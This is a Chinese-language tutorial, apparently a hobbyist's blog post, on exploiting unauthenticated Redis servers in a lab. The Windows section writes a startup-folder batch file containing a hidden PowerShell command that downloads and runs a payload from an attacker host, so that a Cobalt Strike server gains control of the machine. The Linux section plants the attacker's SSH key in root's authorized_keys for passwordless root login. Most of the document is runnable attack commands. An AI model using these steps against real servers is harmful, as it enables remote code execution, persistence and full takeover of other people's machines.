一、漏洞简介
redis是一个开源的数据库。并且目前在很多方面都会使用到redis,但是redis因为配置不当,可以产生未授权访问漏洞,redis未授权访问漏洞利用方式很多,可以写入webshell,或者拿主机权限(上线cs)等等,以下我们降价windows版本以及linux版本redis常用的利用方式
二、利用方式
windows版:
上线cs拿主机权限
linux版本:
给root账户写入SSH公钥文件,直接通过SSH免密码登录到主机
三、漏洞利用
windows版本环境:
这次利用cs上线的原理呢,是在服务器中设置一个钓鱼命令,然后我们的本机,也就是客户端连接目标机器的redis服务中,使用命令在运行这条钓鱼命令从而达到上线目标机器权限的效果(环境搭建的话,在官网下载好windows版本的redis服务解压就可以直接使用了,没有多余的设置)
windows 7 :
命令:redis-server.exe
如图:
这样就成功开启了,然后,我们使用kali攻击机来开启cs
kali攻击机:
./teamserver 本机IP 密码
本机:
连接上cs之后,设置监听器
然后,连接上目标机器的redis服务
redis-cli.exe -h 192.168.67.132
我们需要将路径设置在目标机器的启动项文件夹内,然后,目标机器重启之后就可以拿到权限
启动项文件夹可以搜索到,我这里是windows7,启动项文件夹为
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
所以输入命令:
config set dir “C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
(注意,windows的斜杠需要双写)
config set dbfilename 3.bat
这个时候我们就可以钓鱼了,cs设置钓鱼命令
这样就行了,然后我们在返回redis命令行输入
set x “\r\n\r\npowershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.237.129:80/a’))”\r\n\r\n”
save
这时,我们已经将文件写入启动项文件夹,这是目标机器重启之后就可以获取到权限
将目标机器重启之后,目标成功上线
linux版本环境:
利用方式:写入攻击机的公钥文件,然后在攻击机对目标机器进行免密登录
环境搭建(给想要本地复现的小伙伴,不一定全部包括,也希望对小伙伴们有帮助):
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
tar -zxf redis-4.0.11.tar.gz
cd ./redis-4.0.11.tar.gz
make ##编译
如下图
然后进入redis.conf
修改一下配置
将# bind 127.0.0.1 注释掉
以及将protected-mode yes 改为 no
进入src目录启动
cd ./src
./redis-server
我们使用攻击机连接
redis-cli -h 192.168.67.128
但是中途我们出现了问题,比如这样
我们回到目标机器进入客户端输入
Config set protect-mode no
然后,我们回到攻击机打开root/.ssh文件夹里面
输入
ssh-keygen -t rsa
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt
cat 1.txt | redis-cli -h 192.168.67.128 -x set crack
然后连接目标redis服务输入
config set dir “/root/.ssh”
config set dbfilename authorized_keys
save
然后退出来,直接在攻击机的/root/.ssh文件夹中输入
ssh -i id_rsa root@192.168.67.128
就可以连接上去了
四、结尾
我只是一个对网络安全喜欢的小白,有很多很多不足的地方,如果有做的不好的,希望各位师傅指点(可以加微信:phononer)^ ^